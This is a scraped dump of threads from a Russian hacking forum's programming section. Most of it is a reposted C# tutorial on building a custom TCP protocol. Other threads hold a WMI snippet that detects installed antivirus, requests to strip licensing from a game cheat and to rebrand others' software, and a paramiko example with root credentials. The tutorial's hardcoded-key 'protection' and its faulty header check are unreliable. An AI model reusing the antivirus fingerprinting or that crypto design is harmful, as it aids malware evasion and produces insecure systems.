if (InitRSA())
{
if (CryptGenKey(hProv, AT_KEYEXCHANGE, 0x08000000 + CRYPT_EXPORTABLE, &hKey))
{
DWORD dwPublicKeyLen;
if (CryptExportKey(hKey, NULL, PUBLICKEYBLOB, 0, NULL, &dwPublicKeyLen))
{
BYTE* PublicKey = (BYTE*)LocalAlloc(0, sizeof(BYTE) * dwPublicKeyLen);
if (CryptExportKey(hKey, NULL, PUBLICKEYBLOB, 0, PublicKey, &dwPublicKeyLen))
{
HANDLE hFile = CreateFileW(L"public.txt", GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0);
if (hFile != NULL)
{
WriteFile(hFile, &PublicKey, dwPublicKeyLen, 0, 0);
}
}
}
}
}
}

Но в public.txt пишется мусор. Укажите на ошибку. Спасибо.

Протокол своими руками. Создаем с нуля TCP-протокол и пишем сервер на C#
ID: 6765d804b4103b69df375b14
Thread ID: 27618
Created: 2019-02-02T18:39:35+0000
Last Post: 2019-02-02T18:39:35+0000
Author: tabac
Prefix: Статья
Replies: 0 Views: 2K

Протокол своими руками. Создаем с нуля TCP-протокол и пишем сервер на C#

Ты в жизни не раз сталкивался с разными протоколами — одни использовал, другие, возможно, реверсил. Одни были легко читаемы, в других без hex- редактора не разобраться. В этой статье я покажу, как создать свой собственный протокол, который будет работать поверх TCP/IP. Мы разработаем свою структуру данных и реализуем сервер на C#.
Итак, протокол передачи данных — это соглашение между приложениями о том, как должны выглядеть передаваемые данные. Например, сервер и клиент могут использовать WebSocketв связке с JSON. Вот так приложение на Android могло бы запросить погоду с сервера:

Code:Copy to clipboard

{
    "request": "getWeather",
    "city": "cityname"
}

И сервер мог бы ответить:

Code:Copy to clipboard

{
    "success": true,
    "weatherHumanReadable": "Warm",
    "degrees": 18
}

Пропарсив ответ по известной модели, приложение предоставит информацию пользователю. Выполнить парсинг такого пакета можно, только располагая информацией о его строении. Если ее нет, протокол придется реверсить.

Создаем базовую структуру протокола

Этот протокол будет базовым для простоты. Но мы будем вести его разработку с расчетом на то, что впоследствии его расширим и усложним.
Первое, что необходимо ввести, — это наш собственный заголовок, чтобы приложения могли отличать пакеты нашего протокола. У нас это будет набор байтов 0xAF, 0xAA, 0xAF. Именно они и будут стоять в начале каждого сообщения.

Почти каждый бинарный протокол имеет свое «магическое число» (также «заголовок» и «сигнатура») — набор байтов в начале пакета. Оно используется для идентификации пакетов своего протокола. Остальные пакеты будут игнорироваться.

Каждый пакет будет иметь тип и подтип и будет размером в байт. Так мы сможем создать 65 025 (255 * 255) разных типов пакетов. Пакет будет содержать в себе поля, каждое со своим уникальным номером, тоже размером в один байт. Это предоставит возможность иметь 255 полей в одном пакете. Чтобы удостовериться в том, что пакет дошел до приложения полностью (и для удобства парсинга), добавим байты, которые будут сигнализировать о конце пакета.
Завершенная структура пакета:

Code:Copy to clipboard

XPROTOCOL PACKET STRUCTURE

(offset: 0) HEADER (3 bytes) [ 0xAF, 0xAA, 0xAF ]
(offset: 3) PACKET ID
(offset: 3) PACKET TYPE (1 byte)
(offset: 4) PACKET SUBTYPE (1 byte)
(offset: 5) FIELDS (FIELD[])
(offset: END) PACKET ENDING (2 bytes) [ 0xFF, 0x00 ]

FIELD STRUCTURE

(offset: 0) FIELD ID (1 byte)
(offset: 1) FIELD SIZE (1 byte)
(offset: 2) FIELD CONTENTS

Назовем наш протокол, как ты мог заметить, XProtocol. На третьем сдвиге начинается информация о типе пакета. На пятом начинается массив из полей. Завершающим звеном будут байты 0xFF и 0x00, закрывающие пакет.

Пишем клиент и сервер

Для начала нужно ввести основные свойства, которые будет иметь пакет:

  • тип пакета;
  • подтип;
  • набор полей.

Code:Copy to clipboard

public class XPacket
{
    public byte PacketType { get; private set; }
    public byte PacketSubtype { get; private set; }
    public List<XPacketField> Fields { get; set; } = new List<XPacketField>();
}

Добавим класс для описания поля пакета, в котором будут его данные, ID и размер.

Code:Copy to clipboard

public class XPacketField
{
    public byte FieldID { get; set; }
    public byte FieldSize { get; set; }
    public byte[] Contents { get; set; }
}

Сделаем обычный конструктор приватным и создадим статический метод для получения нового экземпляра объекта.

Code:Copy to clipboard

private XPacket() {}

public static XPacket Create(byte type, byte subtype)
{
    return new XPacket
    {
        PacketType = type,
        PacketSubtype = subtype
    };
}

Теперь можно задать тип пакета и поля, которые будут внутри него. Создадим функцию для этого. Записывать будем в поток MemoryStream. Первым делом запишем байты заголовка, типа и подтипа пакета, а потом отсортируем поля по возрастанию FieldID.

Code:Copy to clipboard

public byte[] ToPacket()
{
    var packet = new MemoryStream();

    packet.Write(
    new byte[] {0xAF, 0xAA, 0xAF, PacketType, PacketSubtype}, 0, 5);

    var fields = Fields.OrderBy(field => field.FieldID);

    foreach (var field in fields)
    {
        packet.Write(new[] {field.FieldID, field.FieldSize}, 0, 2);
        packet.Write(field.Contents, 0, field.Contents.Length);
    }

    packet.Write(new byte[] {0xFF, 0x00}, 0, 2);

    return packet.ToArray();
}

Теперь запишем все поля. Сначала пойдет ID поля, его размер и данные. И только потом конец пакета — 0xFF, 0x00.

Теперь пора научиться парсить пакеты. Минимальный размер пакета — 7 байт: HEADER(3) + TYPE(1) + SUBTYPE(1) + PACKET ENDING(2)

Проверяем размер входного пакета, его заголовок и два последних байта. После валидации пакета получим его тип и подтип.

Code:Copy to clipboard

public static XPacket Parse(byte[] packet)
{
    if (packet.Length < 7)
    {
        return null;
    }

    if (packet[0] != 0xAF ||
        packet[1] != 0xAA ||
        packet[2] != 0xAF)
    {
        return null;
    }

    var mIndex = packet.Length - 1;

    if (packet[mIndex - 1] != 0xFF ||
        packet[mIndex] != 0x00)
    {
        return null;
    }

    var type = packet[3];
    var subtype = packet[4];

    var xpacket = Create(type, subtype);

    /* <---> */

Пора перейти к парсингу полей. Так как наш пакет заканчивается двумя байтами, мы можем узнать, когда закончились данные для парсинга. Получим ID поля и его размер, добавим к списку. Если пакет будет поврежден и будет существовать поле с ID, равным нулю, и SIZE, равным нулю, то необходимости его парсить нет.

Code:Copy to clipboard

    /* <---> */

    var fields = packet.Skip(5).ToArray();

    while (true)
    {
        if (fields.Length == 2)
        {
            return xpacket;
        }

        var id = fields[0];
        var size = fields[1];

        var contents = size != 0 ?
        fields.Skip(2).Take(size).ToArray() : null;

        xpacket.Fields.Add(new XPacketField
        {
            FieldID = id,
            FieldSize = size,
            Contents = contents
        });

        fields = fields.Skip(2 + size).ToArray();
    }
}

У кода выше есть проблема: если подменить размер одного из полей, парсинг завершится с необработанным исключением или пропарсит пакет неверно. Необходимо обеспечить безопасность пакетов. Но об этом речь пойдет чуть позже.

Учимся записывать и считывать данные

Из-за строения класса XPacket необходимо хранить бинарные данные для полей. Чтобы установить значение поля, нам потребуется конвертировать имеющиеся данные в массив байтов. Язык C# не предоставляет идеальных способов сделать это, поэтому внутри пакетов будут передаваться только базовые типы: int, double, float и так далее. Так как они имеют фиксированный размер, можно считать его напрямую из памяти.
Чтобы получить чистые байты объекта из памяти, иногда используется метод небезопасного кода и указателей, но есть и способы проще: благодаря классу Marshal в C# можно взаимодействовать с unmanaged-областями нашего приложения. Чтобы перевести любой объект фиксированной длины в байты, мы будем пользоваться такой функцией:

Code:Copy to clipboard

public byte[] FixedObjectToByteArray(object value)
{
    var rawsize = Marshal.SizeOf(value);
    var rawdata = new byte[rawsize];

    var handle = GCHandle.Alloc(rawdata,
        GCHandleType.Pinned);

    Marshal.StructureToPtr(value,
        handle.AddrOfPinnedObject(),
        false);

    handle.Free();

    return rawdata;
}

Здесь мы делаем следующее:

  • получаем размер нашего объекта;
  • создаем массив, в который будет записана вся информация;
  • получаем дескриптор на наш массив и записываем в него объект.

Теперь сделаем то же самое, только наоборот.

Code:Copy to clipboard

private T ByteArrayToFixedObject<T>(byte[] bytes) where T: struct 
{
    T structure;

    var handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);

    try
    {
        structure = (T) Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));
    }
    finally
    {
        handle.Free();
    }

    return structure;
}

Только что ты научился превращать объекты в массив байтов и обратно. Сейчас можно добавить функции для установки и получения значений полей. Давай создадим функцию для простого поиска поля по его ID.

Code:Copy to clipboard

public XPacketField GetField(byte id)
{
    foreach (var field in Fields)
    {
        if (field.FieldID == id)
        {
            return field;
        }
    }

    return null;
}

Добавим функцию для проверки существования поля.

Code:Copy to clipboard

public bool HasField(byte id)
{
    return GetField(id) != null;
}

Получаем значение из поля.

Code:Copy to clipboard

public T GetValue<T>(byte id) where T : struct
{
    var field = GetField(id);

    if (field == null)
    {
        throw new Exception($"Field with ID {id} wasn't found.");
    }
    var neededSize = Marshal.SizeOf(typeof(T));

    if (field.FieldSize != neededSize)
    {
        throw new Exception($"Can't convert field to type {typeof(T).FullName}.\n" + $"We have {field.FieldSize} bytes but we need exactly {neededSize}.");
    }

    return ByteArrayToFixedObject<T>(field.Contents);
}

Добавив несколько проверок и используя уже известную нам функцию, превратим набор байтов из поля в нужный нам объект типа T.

Установка значения

Мы можем принять только объекты Value-Type. Они имеют фиксированный размер, поэтому мы можем их записать.

Code:Copy to clipboard

public void SetValue(byte id, object structure)
{
    if (!structure.GetType().IsValueType)
    {
        throw new Exception("Only value types are available.");
    }

    var field = GetField(id);

    if (field == null)
    {
        field = new XPacketField
        {
            FieldID = id
        };

        Fields.Add(field);
    }

    var bytes = FixedObjectToByteArray(structure);

    if (bytes.Length > byte.MaxValue)
    {
        throw new Exception("Object is too big. Max length is 255 bytes.");
    }

    field.FieldSize = (byte) bytes.Length;
    field.Contents = bytes;
}

Проверка на работоспособность

Проверим создание пакета, его перевод в бинарный вид и парсинг назад.

Code:Copy to clipboard

var packet = XPacket.Create(1, 0);

packet.SetValue(0, 123);
packet.SetValue(1, 123D);
packet.SetValue(2, 123F);
packet.SetValue(3, false);

var packetBytes = packet.ToPacket();
var parsedPacket = XPacket.Parse(packetBytes);

Console.WriteLine($"int: {parsedPacket.GetValue<int>(0)}\n" +
                  $"double: {parsedPacket.GetValue<double>(1)}\n" +
                  $"float: {parsedPacket.GetValue<float>(2)}\n" +
                  $"bool: {parsedPacket.GetValue<bool>(3)}");

Судя по всему, все работает прекрасно. В консоли должен появиться выхлоп.

Code:Copy to clipboard

int: 123
double: 123
float: 123
bool: False

Вводим типы пакетов

Запомнить ID всех пакетов, которые будут созданы, сложно. Отлаживать пакет с типом N и подтипом Ns не легче, если не держать все ID в голове. В этом разделе мы дадим нашим пакетам имена и привяжем эти имена к ID пакета. Для начала создадим перечисление, которое будет содержать имена пакетов.

Code:Copy to clipboard

public enum XPacketType
{
    Unknown,
    Handshake
}

Unknown будет использоваться для типа, который нам неизвестен. Handshake — для пакета рукопожатия.
Теперь, когда нам известны типы пакетов, пора привязать их к ID. Необходимо создать менеджер, который будет этим заниматься.

Code:Copy to clipboard

public static class XPacketTypeManager
{
    private static readonly Dictionary<XPacketType, Tuple<byte, byte>> TypeDictionary = new Dictionary<XPacketType, Tuple<byte, byte>>();
    /* < ... > */
}

Статический класс хорошо подойдет для этой функции. Его конструктор вызывается лишь один раз, что позволит нам зарегистрировать все известные типы пакетов. Невозможность вызвать статический конструктор извне поможет не проходить повторную регистрацию типов.
Dictionary<TKey, TValue> хорошо подходит для этой задачи. Используем тип (XPacketType) как ключ, а Tuple<T1, T2> будет хранить в себе значение типа (T1) и подтипа (T2). Создадим функцию для регистрации типов пакета.

Code:Copy to clipboard

public static void RegisterType(XPacketType type, byte btype, byte bsubtype)
{
    if (TypeDictionary.ContainsKey(type))
    {
        throw new Exception($"Packet type {type:G} is already registered.");
    }

    TypeDictionary.Add(type, Tuple.Create(btype, bsubtype));
}

Имплементируем получение информации по типу:

Code:Copy to clipboard

public static Tuple<byte, byte> GetType(XPacketType type)
{
    if (!TypeDictionary.ContainsKey(type))
    {
        throw new Exception($"Packet type {type:G} is not registered.");
    }

    return TypeDictionary[type];
}

И конечно, получение типа пакета. Структура может выглядеть несколько хаотичной, но она будет работать.

Code:Copy to clipboard

public static XPacketType GetTypeFromPacket(XPacket packet)
{
    var type = packet.PacketType;
    var subtype = packet.PacketSubtype;

    foreach (var tuple in TypeDictionary)
    {
        var value = tuple.Value;

        if (value.Item1 == type && value.Item2 == subtype)
        {
            return tuple.Key;
        }
    }

    return XPacketType.Unknown;
}

Создаем структуру пакетов для их сериализации и десериализации

Чтобы не парсить все вручную, обратимся к сериализации и десериализации классов. Для этого нужно создать класс и расставить атрибуты. Все остальное код сделает самостоятельно; потребуется только атрибут с информацией о том, с какого поля писать и читать.

Code:Copy to clipboard

[AttributeUsage(AttributeTargets.Field)]
public class XFieldAttribute : Attribute
{
    public byte FieldID { get; }

    public XFieldAttribute(byte fieldId)
    {
        FieldID = fieldId;
    }
}

Используя AttributeUsage, мы установили, что наш атрибут можно будет установить только на поля классов. FieldID будет использоваться для хранения ID поля внутри пакета.

Создаем сериализатор

Для сериализации и десериализации в C# используется Reflection. Этот набор классов позволит узнать всю необходимую информацию и установить значение полей во время рантайма.
Для начала необходимо собрать информацию о полях, которые будут участвовать в процессе сериализации. Для этого можно использовать простое выражение LINQ.

Code:Copy to clipboard

private static List<Tuple<FieldInfo, byte>> GetFields(Type t)
{
    return t.GetFields(BindingFlags.Instance |
                       BindingFlags.NonPublic |
                       BindingFlags.Public)
    .Where(field => field.GetCustomAttribute<XFieldAttribute>() != null)
    .Select(field => Tuple.Create(field, field.GetCustomAttribute<XFieldAttribute>().FieldID))
    .ToList();
}

Так как необходимые поля помечены атрибутом XFieldAttribute, найти их внутри класса не составит труда. Сначала получим все нестатичные, приватные и публичные поля при помощи GetFields(). Выбираем все поля, у которых есть наш атрибут. Собираем новый IEnumerable, который содержит Tuple<FieldInfo, byte>, где byte — ID нашего поля в пакете.

Здесь мы вызываем GetCustomAttribute<>() два раза. Это не обязательно, но таким образом код будет выглядеть аккуратнее.

Итак, теперь ты умеешь получать все FieldInfo для типа, который будешь сериализовать. Пришло время создать сам сериализатор: у него будут обычный и строгий режимы работы. Во время обычного режима будет игнорироваться тот факт, что разные поля используют один и тот же ID поля внутри пакета.

Code:Copy to clipboard

public static XPacket Serialize(byte type, byte subtype, object obj, bool strict = false)
{
    var fields = GetFields(obj.GetType());

    if (strict)
    {
        var usedUp = new List<byte>();

        foreach (var field in fields)
        {
            if (usedUp.Contains(field.Item2))
            {
                throw new Exception("One field used two times.");
            }

            usedUp.Add(field.Item2);
        }
    }

    var packet = XPacket.Create(type, subtype);

    foreach (var field in fields)
    {
        packet.SetValue(field.Item2, field.Item1.GetValue(obj));
    }

    return packet;
}

Внутри foreach происходит самое интересное: fields содержит все нужные поля в виде Tuple<FieldInfo, byte>. Item1 — искомое поле, Item2 — ID этого поля внутри пакета. Перебираем их все, следом устанавливаем значения полей при помощи SetPacket(byte, object). Теперь пакет сериализован.

Создаем десериализатор

Создавать десериализатор в разы проще. Нужно использовать функцию GetFields(), которую мы имплементировали в прошлом разделе.

Code:Copy to clipboard

public static T Deserialize<T>(XPacket packet, bool strict = false)
{
    var fields = GetFields(typeof(T));
    var instance = Activator.CreateInstance<T>();

    if (fields.Count == 0)
    {
        return instance;
    }

    /* <---> */

После того как мы подготовили все к десериализации, можем приступить к делу. Выполняем проверки для режима strict, бросая исключение, когда это нужно.

Code:Copy to clipboard

    /* <---> */

    foreach (var tuple in fields)
    {
        var field = tuple.Item1;
        var packetFieldId = tuple.Item2;

        if (!packet.HasField(packetFieldId))
        {
            if (strict)
            {
                throw new Exception($"Couldn't get field[{packetFieldId}] for {field.Name}");
            }

            continue;
        }

        /* Очень важный костыль, который многое упрощает
         * Метод GetValue<T>(byte) принимает тип как type-параметр
* Наш же тип внутри field.FieldType
* Используя Reflection, вызываем метод с нужным type-параметром
         */ 

        var value = typeof(XPacket)
            .GetMethod("GetValue")?
            .MakeGenericMethod(field.FieldType)
            .Invoke(packet, new object[] {packetFieldId});

        if (value == null)
        {
            if (strict)
            {
                throw new Exception($"Couldn't get value for field[{packetFieldId}] for {field.Name}");
            }

            continue;
        }

        field.SetValue(instance, value);
    }

    return instance;
}

Создание десериализатора завершено. Теперь можно проверить работоспособность кода. Для начала создадим простой класс.

Code:Copy to clipboard

class TestPacket
{
    [XField(0)]
    public int TestNumber;

    [XField(1)]
    public double TestDouble;

    [XField(2)]
    public bool TestBoolean;
}

Напишем простой тест.

Code:Copy to clipboard

var t = new TestPacket {TestNumber = 12345,
                        TestDouble = 123.45D,
                        TestBoolean = true};

var packet = XPacketConverter.Serialize(0, 0, t);
var tDes = XPacketConverter.Deserialize<TestPacket>(packet);

if (tDes.TestBoolean)
{
    Console.WriteLine($"Number = {tDes.TestNumber}\n" +
                      $"Double = {tDes.TestDouble}");
}

После запуска программы должны отобразиться две строки:

Code:Copy to clipboard

Number = 12345
Double = 123,45

А теперь перейдем к тому, для чего все это создавалось.

Первое рукопожатие

Рукопожатие применяется в протоколах для того, чтобы удостовериться, что клиент и сервер используют одинаковый протокол, и проверить соединение. В данном случае рукопожатие позволит проверить, работает ли протокол.

Примеры работы с сокетами ты найдешь в официальной документации в главе [Socket Code Examples](https://docs.microsoft.com/en- us/dotnet/framework/network-programming/socket-code-examples).

Мы создали простой пакет для обмена рукопожатиями.

Code:Copy to clipboard

public class XPacketHandshake
{
    [XField(1)]
    public int MagicHandshakeNumber;
}

Рукопожатие будет инициировать клиент. Он отправляет пакет рукопожатия с рандомным числом, а сервер в свою очередь должен ответить числом, на 15 меньше полученного.
Отправляем пакет на сервер.

Code:Copy to clipboard

var rand = new Random();
HandshakeMagic = rand.Next();

client.QueuePacketSend(
        XPacketConverter.Serialize(
            XPacketType.Handshake,
            new XPacketHandshake
            {
                MagicHandshakeNumber = HandshakeMagic
            }).ToPacket());

При получении пакета от сервера обрабатываем handshake отдельной функцией.

Code:Copy to clipboard

private static void ProcessIncomingPacket(XPacket packet)
{
    var type = XPacketTypeManager.GetTypeFromPacket(packet);

    switch (type)
    {
        case XPacketType.Handshake:
            ProcessHandshake(packet);
            break;
        case XPacketType.Unknown:
            break;
        default:
            throw new ArgumentOutOfRangeException();
    }
}

Десериализуем, проверяем ответ от сервера.

Code:Copy to clipboard

private static void ProcessHandshake(XPacket packet)
{
    var handshake = XPacketConverter.Deserialize<XPacketHandshake>(packet);

    if (HandshakeMagic - handshake.MagicHandshakeNumber == 15)
    {
        Console.WriteLine("Handshake successful!");
    }
}

На стороне сервера есть свой идентичный ProcessIncomingPacket. Разберем процесс обработки пакета на стороне сервера. Десериализуем пакет рукопожатия от клиента, отнимаем пятнадцать, сериализуем и отправляем обратно.

Code:Copy to clipboard

private void ProcessHandshake(XPacket packet)
{
    Console.WriteLine("Recieved handshake packet.");

    var handshake = XPacketConverter.Deserialize<XPacketHandshake>(packet);
    handshake.MagicHandshakeNumber -= 15;

    Console.WriteLine("Answering..");

    QueuePacketSend(
        XPacketConverter.Serialize(XPacketType.Handshake, handshake)
            .ToPacket());
}

Собираем и проверяем.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F02%2F206311%2Fhandshake- test.png&hash=5dd7cba13777511dec38f4350549f8df)
Тестирование рукопожатия

Все работает!

Имплементируем простую защиту протокола

Наш протокол будет иметь два типа пакетов — обычный и защищенный. У обычного наш стандартный заголовок, а у защищенного вот такой: [0x95, 0xAA, 0xFF].
Чтобы отличать зашифрованные пакеты от обычных, потребуется добавить свойство внутрь класса XPacket.

Code:Copy to clipboard

public bool Protected { get; set; }

После модифицируем функцию XPacket.Parse(byte[]), чтобы она принимала и расшифровывала новые пакеты. Сначала модифицируем функцию проверки заголовка:

Code:Copy to clipboard

var encrypted = false;

if (packet[0] != 0xAF ||
    packet[1] != 0xAA ||
    packet[2] != 0xAF)
{
    if (packet[0] == 0x95 ||
        packet[1] == 0xAA ||
        packet[2] == 0xFF)
    {
        encrypted = true;
    }
    else
    {
        return null;
    }
}

Как будет выглядеть наш зашифрованный пакет? По сути, это будет пакет в пакете (вроде пакета с пакетами, который ты прячешь на кухне, только здесь защищенный пакет содержит в себе зашифрованный обычный пакет).
Теперь необходимо расшифровать и распарсить зашифрованный пакет. Позволяем пометить пакет как продукт расшифровки другого пакета.

Code:Copy to clipboard

public static XPacket Parse(byte[] packet, bool markAsEncrypted = false)

Добавляем функциональность в цикл парсинга полей.

Code:Copy to clipboard

if (fields.Length == 2)
{
    return encrypted ? DecryptPacket(xpacket) : xpacket;
}

Так как мы принимаем только структуры как типы данных, мы не сможем записать byte[]внутрь поля. Поэтому немного модифицируем код, добавив новую функцию, которая будет принимать массив данных.

Code:Copy to clipboard

public void SetValueRaw(byte id, byte[] rawData)
{
    var field = GetField(id);

    if (field == null)
    {
        field = new XPacketField
        {
            FieldID = id
        };

        Fields.Add(field);
    }

    if (rawData.Length > byte.MaxValue)
    {
        throw new Exception("Object is too big. Max length is 255 bytes.");
    }

    field.FieldSize = (byte) rawData.Length;
    field.Contents = rawData;
}

Сделаем такую же, но уже для получения данных из поля.

Code:Copy to clipboard

public byte[] GetValueRaw(byte id)
{
    var field = GetField(id);

    if (field == null)
    {
        throw new Exception($"Field with ID {id} wasn't found.");
    }

    return field.Contents;
}

Теперь все готово для создания функции расшифровки пакета. Шифрование будет использовать класс RijndaelManaged со строкой в качестве пароля для шифрования. Строка с паролем будет константна. Это шифрование поможет защититься от атаки типа MITM.
Создадим класс, который будет шифровать и расшифровывать данные.

Так как процесс шифрования выглядит идентично, возьмем готовое решение для шифрования строки с Stack Overflow и адаптируем его для себя.

Модифицируем методы, чтобы они принимали и возвращали массивы байтов.

Code:Copy to clipboard

public static byte[] Encrypt(byte[] data, string passPhrase)
public static byte[] Decrypt(byte[] data, string passPhrase)

И простой хендлер, который будет хранить секретный ключ.

Code:Copy to clipboard

public class XProtocolEncryptor
{
    private static string Key { get; } = "2e985f930853919313c96d001cb5701f";

    public static byte[] Encrypt(byte[] data)
    {
        return RijndaelHandler.Encrypt(data, Key);
    }

    public static byte[] Decrypt(byte[] data)
    {
        return RijndaelHandler.Decrypt(data, Key);
    }
}

Затем создаем функцию для расшифровки. Данные обязательно должны быть в поле с ID = 0. Как иначе нам его искать?

Code:Copy to clipboard

private static XPacket DecryptPacket(XPacket packet)
{
    if (!packet.HasField(0))
    {
        return null;
    }

    var rawData = packet.GetValueRaw(0);
    var decrypted = XProtocolEncryptor.Decrypt(rawData);

    return Parse(decrypted, true);
}

Получаем данные, расшифровываем и парсим заново. То же самое проделываем с обратной процедурой.
Вводим свойство, чтобы пометить надобность в заголовке зашифрованного пакета.

Code:Copy to clipboard

private bool ChangeHeaders { get; set; }

Создаем простой пакет и помечаем, что в нем зашифрованные данные.

Code:Copy to clipboard

public static XPacket EncryptPacket(XPacket packet)
{
    if (packet == null)
    {
        return null;
    }

    var rawBytes = packet.ToPacket();
    var encrypted = XProtocolEncryptor.Encrypt(rawBytes);

    var p = Create(0, 0);
    p.SetValueRaw(0, encrypted);
    p.ChangeHeaders = true;

    return p;
}

И добавляем две функции для более удобного обращения.

Code:Copy to clipboard

public XPacket Encrypt()
{
    return EncryptPacket(this);
}

public XPacket Decrypt() {
    return DecryptPacket(this);
}

Модифицируем ToPacket(), чтобы тот слушался значения ChangeHeaders.

Code:Copy to clipboard

packet.Write(ChangeHeaders
    ? new byte[] {0x95, 0xAA, 0xFF, PacketType, PacketSubtype}
    : new byte[] {0xAF, 0xAA, 0xAF, PacketType, PacketSubtype},
    0, 5);

Проверяем:

Code:Copy to clipboard

var packet = XPacket.Create(0, 0);
packet.SetValue(0, 12345);

var encr = packet.Encrypt().ToPacket();
var decr = XPacket.Parse(encr);

Console.WriteLine(decr.GetValue<int>(0));

В консоли получаем число 12345.

Заключение

Только что мы создали свой собственный протокол. Это был долгий путь от базовой структуры на бумаге до его полной имплементации в коде. Надеюсь, тебе было интересно!
Исходный код проекта можно найти в моем GitHub.

(с) 0x25CBFC4F
хакер.ру

VK SOFTE v3
ID: 6765d804b4103b69df375b17
Thread ID: 27388
Created: 2019-01-20T19:41:24+0000
Last Post: 2019-01-22T23:13:31+0000
Author: YHHB
Replies: 2 Views: 2K

https:///d/hAd
https://
/d/hAd
https://*********/d/hAd

C# Функция хеширования
ID: 6765d804b4103b69df375b19
Thread ID: 27290
Created: 2019-01-14T17:30:46+0000
Last Post: 2019-01-14T17:30:46+0000
Author: Guron_18
Replies: 0 Views: 2K

Всем доброго времени суток. Функция хеширования.

C#:Copy to clipboard

private static string Hash(string pass, string algo = "MD5")
{
  return BitConverter.ToString(((HashAlgorithm)CryptoConfig.CreateFromName(algo)).ComputeHash(pass)).Replace("-", string.Empty).ToLower();
}

Использование

C#:Copy to clipboard

string resultMD5 = Hash("passw0rd");
string resultSHA256 = Hash("passw0rd", "sha256");

Вместо string pass можно передавать любые объекты для которых нужно выполнить хеширование. Например FileStream для подсчета MD5 хеш суммы файла.
Посмотреть список алгоритмов можно [тут](https://docs.microsoft.com/en- us/dotnet/api/system.security.cryptography.cryptoconfig?view=netframework-4.7.2#remarks).

vCheckase source (decompil)
ID: 6765d804b4103b69df375b1c
Thread ID: 27220
Created: 2019-01-10T12:00:09+0000
Last Post: 2019-01-10T12:00:09+0000
Author: DeiTy
Replies: 0 Views: 2K

Ошибок много и собрать у вас его не получиться но посмотреть код чтоб понять что и как работает можно :)

Spoiler: Клик

Скачать : https://yadi.sk/d/z0_8HmY4DFuukw

ps : да да , достать сорец из .net может каждый , я и сам знаю .

Удаление кода привязки
ID: 6765d804b4103b69df375b1d
Thread ID: 27070
Created: 2018-12-28T12:54:47+0000
Last Post: 2019-01-08T20:36:27+0000
Author: sfinmysoul
Replies: 1 Views: 2K

Привет ребят есть исходник программы(чита для игры) чтоб я им пользовался нужно удалить код привязки по железу потом компилировать кто можешь помочь?

Как изменить заголовок в чужом софте
ID: 6765d804b4103b69df375b1e
Thread ID: 27125
Created: 2019-01-03T19:33:47+0000
Last Post: 2019-01-04T13:20:11+0000
Author: cydd9_dred
Replies: 4 Views: 2K

Собственно сабж, есть софт но в заголовке красуется имя разработчика... Как его оттуда убрать?

нужна помощь
ID: 6765d804b4103b69df375b20
Thread ID: 27034
Created: 2018-12-25T21:32:14+0000
Last Post: 2018-12-26T20:49:23+0000
Author: Aleks123
Replies: 10 Views: 2K

Ищу человека кто разбирается в таких языках программирования как:
С++ / MFC
VC++ 6.0
MSVS2010

Java-Парсеры , Брутфорс , Прокси .
ID: 6765d804b4103b69df375b22
Thread ID: 27006
Created: 2018-12-23T06:49:19+0000
Last Post: 2018-12-23T06:49:19+0000
Author: Nemezis
Replies: 0 Views: 2K

Дорогие форумчане , с не давнего времени на этом форуме , и вот вопрос к вам кто нибудь занимается тут java разработкой , мне нужен опыт именно в написание этих программ , сам уже имею основу , как с чем работать , но не имею опыта , не в проектах и тд..
Собственно приглашаю не только тех кто по java , думаю тема парсеров и тд одинакова, вытаскивал уже с html страницы инфу , рука пока что не набита ,потому-что учусь каждый день по 6 часов.

C# Detect AV with WMI
ID: 6765d804b4103b69df375b25
Thread ID: 26395
Created: 2018-10-29T09:45:59+0000
Last Post: 2018-12-16T01:37:39+0000
Author: Aldesa
Replies: 1 Views: 2K

C#:Copy to clipboard

// пример Antivirus("companyName") или Antivirus("displayName") вернут нужную нам информацию об АВ      
private string Antivirus(string type)
{
    string computer = Environment.MachineName;
    string wmipath = @"\\" + computer + @"\root\SecurityCenter";
    try
    {
        ManagementObjectSearcher searcher = new ManagementObjectSearcher(wmipath, "SELECT * FROM AntivirusProduct");
        ManagementObjectCollection instances = searcher.Get(); // тут получаем все instances, и можем их вернуть, чтобы парсить после.
        foreach (ManagementObject queryObj in instances)
        {
            return queryObj[type].ToString();
        }
    }
    catch (Exception e)
    {
        // обработка исключения
    }
    return null;
}

Это способ, чтобы не тягать за собой тонный список процессов, который есть в теме https://xss.is/threads/26346/

Справочники по C++/C
ID: 6765d804b4103b69df375b26
Thread ID: 26774
Created: 2018-12-06T15:36:10+0000
Last Post: 2018-12-06T15:41:49+0000
Author: ZERO
Replies: 2 Views: 2K

**1. Полный справочник по C++ (Герберт Шилдт) -Читать
2. Краткий справочник по языку программирования C++ - Читать
3. C++ дляначинающих (Стенли Липпман) - Читать
4. Краткий справочник по языку C (В.А.Ильина П.К.Силаев) - **Читать

Skype
ID: 6765d804b4103b69df375b28
Thread ID: 24522
Created: 2013-08-09T08:49:14+0000
Last Post: 2018-11-28T07:33:32+0000
Author: DarckSol
Replies: 4 Views: 2K

Не уверен, но похоже, что наткнулся на сорсы этого дела.., хотя может быть жирный фейковы архив.. Смотрим содержимое, отписываем своё мнение в тему...

-------------------------------------------------------

:zns5: Скачать|Download

-------------------------------------------------------

Способ обработки shellarg в Python
ID: 6765d804b4103b69df375b29
Thread ID: 26454
Created: 2018-11-02T17:42:36+0000
Last Post: 2018-11-02T17:42:36+0000
Author: L.Luciano
Replies: 0 Views: 2K

Кто знает норм способы обработки аргумента в shell-команде в Python? Я понимаю, что есть subproccess и подобные библиотеки, но речь идёт о передаче параметра через SSH. Достаточно ли надёжной будет функция shell_escape в коде ниже?

Python:Copy to clipboard

import paramiko
import sys

def shell_escape(arg):
    return "'%s'" % (arg.replace(r"'", r"'\''"), )

client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(hostname="192.168.0.272", username="root", password="toor", port="22")
stdin, stdout, stderr = client.exec_command("sh script.sh {}".format(shell_escape(sys.argv[1])))
data = stdout.read() + stderr.read()
client.close()
print(str(data))
NDK bot
ID: 6765d804b4103b69df375b2a
Thread ID: 25979
Created: 2015-07-13T11:22:11+0000
Last Post: 2015-07-25T18:38:35+0000
Author: clone06
Replies: 3 Views: 2K

Добрый день!
Адресую свои вопросы сведущим разработчикам под NDK.

